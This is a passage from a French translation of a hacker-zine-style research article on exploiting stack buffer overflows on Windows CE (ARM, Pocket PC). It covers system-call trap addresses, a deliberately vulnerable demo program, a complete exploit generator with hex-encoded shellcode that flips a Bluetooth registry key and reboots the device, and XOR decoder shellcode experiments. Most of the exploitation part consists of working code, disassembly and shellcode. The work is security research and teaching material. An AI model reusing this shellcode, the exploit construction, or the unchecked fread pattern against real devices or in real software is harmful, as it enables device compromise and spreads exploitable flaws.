find_func pour obtenir l'adresse de l'API grâce à la structure IMAGE_EXPORT_DIRECTORY et stocke l'adresse de l'API à propre adresse de valeur hashée. La dernière partie est la fonction qui implémente le shellcode, elle passe à 1 la valeur de la clé de registre HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode et utilise KernelIoControl pour redemarrer le système. Windows CE.NET fournit BthGetMode et BthSetMode pour récupérer et donner l'état bluetooth. Mais HP IPAQs utilise la pile Widcomm qui a sa propre API, donc BthSetMode ne peut pas ouvrir le bluetooth pour IPAQ. Bon, il y a une autre méthode pour ouvrir le bluetooth dans IPAQs(mon PDA est un HP1940). Il suffit juste de mettre HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode à 1 et de redemarrer le PDA, le bluetooth va s'ouvrir après le redemarrage du système. Cette méthode n'est pas très jolie mais elle marche. Bien, regardons la fonction get_export_section. Pourquoi ai-je décommenté l'instruction "ldr r4, =0xffffc800" ? Nous devons remarquer la pseudo instruction LDR du langage assembleur ARM. Elle permet de charger une valeur constante ou une adresse de 32-bit dans un registre. L'instruction "ldr r4, =0xfffffc800" va devenir "ldr r4, [pc,#0x108]" dans EVC debugger, ça marche quand le shellcode s'execute. Mais le registre r4 ne va pas recevoir la valeur 0xffffc800 dans ls shellcode, et le shellcode va échouer. L'instruction "ldr r5, =0x324", va devenir "mov r5, #0xC9,30" dans EVC debugger, et ça marche quand le shellcode s'execute. La solution la plus simple est d'écrire la grande valeur constante au milieu du shellcode, et d'utiliser la pseudo-instruction ADR pour charger l'adresse de la valeur dans un registre puis de lire la mémoire à partir du registre. Pour sauvegarder la taille, nous pouvons utiliser la technologie du hash pour encoder les noms des API. Chaque nom d'API peut être encodé en 4 octets. La technologie des hashs proviens des composant assembeur du LSD de Win32. La méthode de compilation est la suivante: armasm test.asm link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj Vous devez d'abord installer l'environnement EVC. Après cela, nous pouvons obtenir les codes opérations nécessaires à partir de EVC debugger, ou de IDAPro ou des éditeurs hexadécimaux. --[ 8 - Appels Systèmes Premièrement, regardons l'implémentation d'une API dans coredll.dll: .text:01F75040 EXPORT PowerOffSystem .text:01F75040 PowerOffSystem ; CODE XREF: SetSystemPowerState+58p .text:01F75040 STMFD SP!, {R4,R5,LR} .text:01F75044 LDR R5, =0xFFFFC800 .text:01F75048 LDR R4, =unk_1FC6760 .text:01F7504C LDR R0, [R5] ; UTlsPtr .text:01F75050 LDR R1, [R0,#-0x14] ; KTHRDINFO .text:01F75054 TST R1, #1 .text:01F75058 LDRNE R0, [R4] ; 0x8004B138 ppfnMethods .text:01F7505C CMPNE R0, #0 .text:01F75060 LDRNE R1, [R0,#0x13C] ; 0x8006C92C SC_PowerOffSystem .text:01F75064 LDREQ R1, =0xF000FEC4 ; trap address of SC_PowerOffSystem .text:01F75068 MOV LR, PC .text:01F7506C MOV PC, R1 .text:01F75070 LDR R3, [R5] .text:01F75074 LDR R0, [R3,#-0x14] .text:01F75078 TST R0, #1 .text:01F7507C LDRNE R0, [R4] .text:01F75080 CMPNE R0, #0 .text:01F75084 LDRNE R0, [R0,#0x25C] ; SC_KillThreadIfNeeded .text:01F75088 MOVNE LR, PC .text:01F7508C MOVNE PC, R0 .text:01F75090 LDMFD SP!, {R4,R5,PC} .text:01F75090 ; End of function PowerOffSystem En deboggant cette API, nous trouvons que le système contrôle d'abord le KTHRDINFO. Cette valeur est initialisée dans la fonction MDCreateMainThread2 de PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c: ... if (kmode || bAllKMode) { pTh->ctx.Psr = KERNEL_MODE; KTHRDINFO (pTh) |= UTLS_INKMODE; } else { pTh->ctx.Psr = USER_MODE; KTHRDINFO (pTh) &= ~UTLS_INKMODE; } ... Si l'application est en mode noyau, la valeur va être mise à 1, sinon elle sera 0. Toutes les applications pour Pocket PC tournent en mode noyau, donc le système continue par "LDRNE R0, [R4]". Dans mon environnement, le registre r0 a 0x8004B138, qui est le pointeur ppfnMethods de SystemAPISets[SH_WIN32], et ensuite continue jusqu'à "LDRNE R1, [R0,#0x13C]". Regardons à l'offset 0x13C (0x13C/4=0x4F) et sa correspondance dans l'index Win32Methods définit dans PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h: const PFNVOID Win32Methods[] = { ... (PFNVOID)SC_PowerOffSystem, // 79 ... }; Bien, le registre R1 a l'adresse de SC_PowerOffSystem, qui est implémenté dans le noyau. L'instruction "LDREQ R1, =0xF000FEC4" ,'a pas d'effet lorsque l'application tourne en mode noyau. L'adresse 0xF000FEC4 est l'appel système utilisé par le mode User. Quelques APIs utilisent directement les appels systèmes, comme SetKMode: .text:01F756C0 EXPORT SetKMode .text:01F756C0 SetKMode .text:01F756C0 .text:01F756C0 var_4 = -4 .text:01F756C0 .text:01F756C0 STR LR, [SP,#var_4]! .text:01F756C4 LDR R1, =0xF000FE50 .text:01F756C8 MOV LR, PC .text:01F756CC MOV PC, R1 .text:01F756D0 LDMFD SP!, {PC} Windows CE n'utilise pas les instructions SWI de ARM pour implémenter les appels systèmes, il l'implémente d'une autre façon. Un apple système est fait pour une adresse invalide dans l'intervalle 0xf0000000 - 0xf0010000, et cause une annulation, traitée par PrefetchAbort, implémenté dans armtrap.s. PrefetchAbort va vérifier d'abord les adresses invalides, si c'est dans la zone de blocage, elle utilisera ObjectCall pour situer l'appel système et l'executer, sinon, elle appelera ProcessPrefAbort pour traiter l'exception. Il y a une formule pour calculer l'adesse de l'appel système : 0xf0010000-(256*apiset+apinr)*4 Les Traitements des apisets sont définis dans PUBLIC\COMMON\SDK\INC\kfuncs.h et PUBLIC\COMMON\OAK\INK\psycall.h, etles aipnrs sont définis dans plusieurs fichiers, comme par exemple les appels SH_WIN32 sont définis dans PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h. Bien, calculons l'appel système à KernelIoControl. L'apiset est 0 et son apinr est 99, donc l'appel système est 0xf0010000-(256*0+99)*4 qui fait 0xF000FE74. Le shellcode suivant implémente l'appel système: #include "stdafx.h" int shellcode[] = { 0xE59F0014, // ldr r0, [pc, #20] 0xE59F4014, // ldr r4, [pc, #20] 0xE3A01000, // mov r1, #0 0xE3A02000, // mov r2, #0 0xE3A03000, // mov r3, #0 0xE1A0E00F, // mov lr, pc 0xE1A0F004, // mov pc, r4 0x0101003C, // IOCTL_HAL_REBOOT 0xF000FE74, // trap address of KernelIoControl }; int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { ((void (*)(void)) & shellcode)(); return 0; } Il marche bien et nous n'avons pas besoin de chercher l'adresse de l'API. --[ 9 - Exploitation d'un buffer overflow sur windows CE Le fichier hello.cpp est une implémentation de démonstration d'un programme vulnérable // hello.cpp // #include "stdafx.h" int hello() { FILE * binFileH; char binFile[] = "\\binfile"; char buf[512]; if ( (binFileH = fopen(binFile, "rb")) == NULL ) { printf("can't open file %s!\n", binFile); return 1; } memset(buf, 0, sizeof(buf)); fread(buf, sizeof(char), 1024, binFileH); printf("%08x %d\n", &buf, strlen(buf)); getchar(); fclose(binFileH); return 0; } int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { hello(); return 0; } La fonction hello a un probleme de buffer overflow. Elle lit une donnée à partir de "binfile" du repertoire racine et la met dans la variable "buf" dans la pile grâce à fread(). Parce qu'elle lit un contenu de 1KB, donc si "binfile" est plus grand que 512 bytes, la variable "buf" de la pile va déborder. Les fonctions printf et getchar ne sont ici que pour tester. Elles n'ont aucun effet dans console.dll dans le repertoire windows. Le fichier console.dll est fournit avec Windows Mobile Developer Power Toys. Le langage assembleur AM utilise l'instruction bl pour appeler une fonction. Regardons l'interieur de la fonction hello: 6: int hello() 7: { 22011000 str lr, [sp, #-4]! 22011004 sub sp, sp, #0x89, 30 8: FILE * binFileH; 9: char binFile[] = "\\binfile"; ... ... 26: } 220110C4 add sp, sp, #0x89, 30 220110C8 ldmia sp!, {pc} "str lr, [sp, #-4]!" est la première instruction de la fonction hello(). Elle stocke le registre lr dans la pile, et le registre lr contient l'adresse pour retourner à la fonction ayant appelé hello. La seconde instruction pépare la pile pour les variables locales. "ldmia sp!, {pc}" est la dernière instruction de hello(). Elle charge l'adresse de retour à la fonction ayant appelé hello() sauvegardée dans la pile dans le registre pc, et le programme va executer la fonction WinMain. Donc si on ecrase le registre lr qui est sauvegardé dans la pile, nous pouvons prendre le control lorsque la fonction hello termine. Les adresses mémoire des variables allouées par le programme correspondent aux emplacements chargés, à la fois la pile et le tas. Le processus peut être chargé dans différents emplacements à chaque démarrage. Donc l'adresse de base va être à chaque fois différente. Nous savons que dans l'emplacement 0 se trouve le mapping de l'emplacement du processus courant, donc la base de cette pile est stable. Voici l'exploit du programme hello: /* exp.c - demo d'un buffer overflow sur Windows CE * * san@xfocus.org */ #include #define NOP 0xE1A01001 /* mov r1, r1 */ #define LR 0x0002FC50 /* adresse de retour */ int shellcode[] = { 0xEB000026, 0xE3A02004, 0xEB00003A, 0xE24DDF89, 0xE28D0008, 0xE58D0000, 0xE3A03002, 0xE3A02000, 0xE28F1F56, 0xE3A0010A, 0xE1A0E00F, 0xE518F00C, 0xE3A00001, 0xE58D000C, 0xE3A03004, 0xE58D3004, 0xE28D100C, 0xE58D1000, 0xE28F1F5F, 0xE59D0008, 0xE1A0E00F, 0xE518F008, 0xE59D0008, 0xE1A0E00F, 0xE518F004, 0xE28F0C01, 0xE5900000, 0xE3A01000, 0xE3A02000, 0xE3A03000, 0xE1A0E00F, 0xE518F010, 0xE0D020B2, 0xE0D130B2, 0xE3520000, 0x03530000, 0x01A0F00E, 0xE1520003, 0x0AFFFFF8, 0xE1A0F00E, 0xE1A0B00E, 0xE28F40BC, 0xE5944000, 0xE3A05FC9, 0xE0845005, 0xE5955000, 0xE1A06005, 0xE3A07000, 0xE5960008, 0xE28F1F45, 0xEBFFFFEC, 0x0596707C, 0x0596808C, 0xE0879008, 0x0A000003, 0xE5966004, 0xE3560000, 0x11560005, 0x1AFFFFF4, 0xE1A00007, 0xE0881007, 0xE1A0F00B, 0xE28F8070, 0xE5914020, 0xE0844000, 0xE3A06000, 0xE4947004, 0xE0877000, 0xE3A0A000, 0xE4D79001, 0xE3590000, 0x0A000001, 0xE089A3EA, 0xEAFFFFFA, 0xE5989000, 0xE15A0009, 0x12866001, 0x1AFFFFF3, 0xE5915024, 0xE0855000, 0xE0866006, 0xE19590B6, 0xE591501C, 0xE0855000, 0xE7959109, 0xE0899000, 0xE4889004, 0xE2522001, 0x1AFFFFE5, 0xE1A0F00E, 0xFFFFC800, 0x0101003C, 0x283A9DE7, 0x0BF7DF51, 0xD8C0FEC0, 0x0E511783, 0x004F0053, 0x00540046, 0x00410057, 0x00450052, 0x005C005C, 0x00690057, 0x00630064, 0x006D006F, 0x005C006D, 0x0042005C, 0x00430074, 0x006E006F, 0x00690066, 0x005C0067, 0x0047005C, 0x006E0065, 0x00720065, 0x006C0061, 0x00000000, 0x00740053, 0x00630061, 0x004D006B, 0x0064006F, 0x00000065, 0x006F0063, 0x00650072, 0x006C0064, 0x002E006C, 0x006C0064, 0x0000006C, }; /* imprime un entier long dans une chaine de caractères */ char* put_long(char* ptr, long value) { *ptr++ = (char) (value >> 0) & 0xff; *ptr++ = (char) (value >> 8) & 0xff; *ptr++ = (char) (value >> 16) & 0xff; *ptr++ = (char) (value >> 24) & 0xff; return ptr; } int main() { FILE * binFileH; char binFile[] = "binfile"; char buf[544]; char *ptr; int i; if ( (binFileH = fopen(binFile, "wb")) == NULL ) { printf("le fichier %s ne peut pas être crée!\n", binFile); return 1; } memset(buf, 0, sizeof(buf)-1); ptr = buf; for (i = 0; i < 4; i++) { ptr = put_long(ptr, NOP); } memcpy(buf+16, shellcode, sizeof(shellcode)); put_long(ptr-16+540, LR); fwrite(buf, sizeof(char), 544, binFileH); fclose(binFileH); } Nous avons choisi une adresse de pile de l'emplacement 0, et elle pointe sur notre shellcode. Elle va écraser l'adresse de retour sauvegardée dans la pile. Nous pouvons également utiliser un saut a une adresse dans l'espace mémoire virtuel a la place. Cet exploit produit un fichier "binfile" qui va créer un débordement de la variable "buf" et l'adresse de retour sauvegardée dans la pile. Apres que le fichier binfile soit recopié sur le PDA, le PDA va redemarrer et ouvrir le bluetooth lorsque le programme hello va s'executer. Cela signifie que la programme hello va continuer par notre shellcode. Maintenant je change de méthode poru construire une 'chaîne exploit', la voici: pad...pad|return address|nop...nop...shellcode Et l'exploit va produire une "binfile" de 1KB. Mais le PDA va se geler lorsque le programme hello s'executera. Je suis confus, je pense que peut être la pile de Windows CE est petite et la chaîne en débordant a détruit les 2KB de garde situé en début de pile. Ca gèle au moment ou le programme appel l'API après que le débordement ait survenu. Donc, nous devons remarquer les caractéristiques de la pile lorsque nous écrivons un exploit pour Windows CE. EVC a quelques bugs qui rend le deboggage difficile. Premièrement, EVC va écrire des données arbitraires dans le contenu de la pile lorsque la pile est relachée a la fin de la fonction, et le shellcode peut être modifié. Deuxiemement, l'instruction a un breakpoint peut se changer en 0xE6000010 dans EVC pendant un deboggage. Un autre bug assez drôle est que le debugger ne trouve aucune erreur lorsqu'il écrit des données dans à l'adresse .text a lors d'une execution pas à pas, alors qu'il trouve une exception de violation d'accès lorsqu'il execute directement. --[ 10 - Shellcode de décodage Le shellcode dont nous avons parlé plus haut est un shellcode de concept qui contient un certain nombre de zéros. Il est executé correctement dans le programme de démonstration, mais d'autres programmes vulnérables peuvent filtrer les caractères spéciaux avant le dépassement de tampon dans certaines situations. Par exemple, pour un dépassement grâce à la fonction strcpy, il faut retirer tous ses zéros au shellcode. Il est difficile et pénible d'écire un shellcode sans caractère spéciaux par la méthode de la recherche d'API. Nous devons donc penser aux shellcodes de décodage. Les shellcode de décodage convertissent les caractères spéciaux en caractères allant bien, et rendent le vrai shellcode encore plus universel. Les nouveaux processeurs ARM (comme arm9 et arm10) ont une architecture Harvard qui sépare le cache des instructions du cache des données. Cette caractéristique améliore la performance du processeur, et la plupart des processeurs de type RISC possèdent cette caractèristique. Mais un code s'auto modifiant n'est pas facile a implémenter parce qu'il va être dispersé par les caches et l'implémentation du processeur après avoir été modifié. Regardons d'abord ce code: #include "stdafx.h" int weird[] = { 0xE3A01099, // mov r1, #0x99 0xE5CF1020, // strb r1, [pc, #0x20] 0xE5CF1020, // strb r1, [pc, #0x20] 0xE5CF1020, // strb r1, [pc, #0x20] 0xE5CF1020, // strb r1, [pc, #0x20] 0xE1A01001, // mov r1, r1 ; pad 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE3A04001, // mov r4, #0x1 0xE3A03001, // mov r3, #0x1 0xE3A02001, // mov r2, #0x1 0xE3A01001, // mov r1, #0x1 0xE6000010, // breakpoint }; int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { ((void (*)(void)) & weird)(); return 0; } Ces quatre instructions strb vont changer la valeur immédiate de l'instruction mov 0x99. Il va s'arreter au beakpoint inséré lors d'une execution directe avec EVC debugger. Les registres r1-r4 sont a 0x99 dans S3C2410, qui est le noyau du processeur arm9. Il a besoin de quelques autres instructions nop pour bourrer après avoir modifié pour laisser le temps aux registres r1-r4 de passer à 0x99 lorque j'ai tester ce code sur le PDA d'un ami qui a Intel Xscale processor. Je pense que la raison est peut être que le arm9 a 5 pipelines et le arm10 en a 6. J'ai donc changé pour une autre méthode: 0xE28F3053, // add r3, pc, #0x53 0xE3A01010, // mov r1, #0x10 0xE7D32001, // ldrb r2, [r3, +r1] 0xE2222088, // eor r2, r2, #0x88 0xE7C32001, // strb r2, [r3, +r1] 0xE2511001, // subs r1, r1, #1 0x1AFFFFFA, // bne 28011008 //0xE1A0100F, // mov r1, pc //0xE3A02020, // mov r2, #0x20 //0xE3A03D05, // mov r3, #5, 26 //0xEE071F3A, // mcr p15, 0, r1, c7, c10, 1 ; efface et invalide chaque entrée //0xE0811002, // add r1, r1, r2 //0xE0533002, // subs r3, r3, r2 //0xCAFFFFFB, // bgt |weird+28h (30013058)| //0xE0211001, // eor r1, r1, r1 //0xEE071F9A, // mcr p15, 0, r1, c7, c10, 4 ; vide les buffer d'ecriture //0xEE071F15, // mcr p15, 0, r1, c7, c5, 0 ; vide le icache 0xE1A01001, // mov r1, r1 ; bourrage 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0xE1A01001, 0x6B28C889, // mov r4, #0x1 ; encodées 0x6B28B889, // mov r3, #0x1 0x6B28A889, // mov r2, #0x1 0x6B289889, // mov r1, #0x1 0xE6000010, // breakpoint Les quatre instructions mov sont encodées par un OU-Exclusif avec 0x88 et le décodeur doit boucler pour charger un byte encodé et faire un OU-Exlusif avec 0x88 puis les ranger a leur position initial. Les registres r1-r4 ne vont pas récupérer 0x1 même si vous mettez un bon paquet de bourrage après avoir décodé que ce soit avec le processeur arm9 ou le arm10. Je pense que l'instruction load doit amener un problème de cache. "ARM Architecture Reference Manual" a un chapitre d'introdution pour traiter les codes s'auto-modifiant. Ils disent que les caches doivent être vidés avec un appel système. Phil, le gars de 0dd a partagé son experience avec moi. Il m'a dit dit qu'il avait déjà reussi a se servir de cette méthode sur un système ARM (je pense que son environnement devait être linux). Bref, cette méthode marche sur AIX PowerPC et Solaris Sparc (j'ai testé). Mais SWI est implémenté de manière différente sous Windows CE. Le fichier armtrap.s contient l'implémentation de SWIHandler qui ne fait rien à part 'movs pc,lr'. Donc il n'a aucun effet après que le décodage du code se soit fini. Commes les applications Pocket PC tournent en mode noyau, nous avons les provilèges pour acceder au système de control du coprocesseur. "ARM Architecture Reference Manual" donne une introduction sur le système mémoire et la méthode pour traiter le cache via le système de contrôle du coprocesseur. Après avoir ragardé dans ce manule, j'ai essayé de desactiver le cache d'instruction avant le décodage: mrc p15, 0, r1, c1, c0, 0 bic r1, r1, #0x1000 mcr p15, 0, r1, c1, c0, 0 Mais le système s'est gelé lorsque l'instruction mcr s'est executée. J'ai essayé, mais sans succès d'invalider entierement le cache d'instruction apres le décodage: eor r1, r1, r1 mcr p15, 0, r1, c7, c5, 0 Mais ça n'a eu aucun effet. --[ 11 - Conclusion Le code dont nous avons parlé plus tot est un exemple de la vie réelle sur un dépassement de tampon sur Windows CE. Il n'est pas parfait, mais je pense que cette technologie va être améliorée dans le futur. A code du mécanisme de cache, le shellcode de décodage n'est pas assez bon. Internet et les materiel portables augmentent rapidement, et donc les menaces contre les PDA et les portables deviennent de plus en plus sérieuses. Et le patch de windows CE est plus difficile et dangereux que le système Windows normal pour les consommateurs. Comme le système Windows CE entier est situé en ROM, si vous voulez corriger les défaut de votre système, vous devez vider la ROM, et les images de ROM de la plupart des vendeurs ou des modes de PDAs et portables ne sont pas compatibles. --[ 12 - Remerciements Remerciements spéciaux aux mecs de XFocus Team, ma petite amis, la vie serait fade sans vous. Remerciements spéciaux au département de recherche de NSFocus Corporation, j'adore cette équipe. Et je voudrais montrer ma reconnaissance aux membres de Odd, et aussi Nasiry et Flier, les discussions avec eux ont été sympa. --[ 13 - Références [1] ARM Architecture Reference Manual http://www.arm.com [2] Windows CE 4.2 Source Code http://msdn.microsoft.com/embedded/windowsce/default.aspx [3] Details Emerge on the First Windows Mobile Virus - Cyrus Peikari, Seth Fogie, Ratter/29A http://www.informit.com/articles/article.asp?p=337071 [4] Pocket PC Abuse - Seth Fogie http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-fogie/bh-us-04-fogie-up.pdf [5] Diverses notes sur le xda et Windows CE http://www.xs4all.nl/~itsme/projects/xda/ [6] Introduction à Windows CE http://www.cs-ipv6.lancs.ac.uk/acsp/WinCE/Slides/ [7] Nasiry 's way http://www.cnblogs.com/nasiry/ [8] Programming Windows CE Second Edition - Doug Boling [9] Win32 Assembly Components http://LSD-PL.NET |=[ EOF ]=--------------------------------------------------------------=|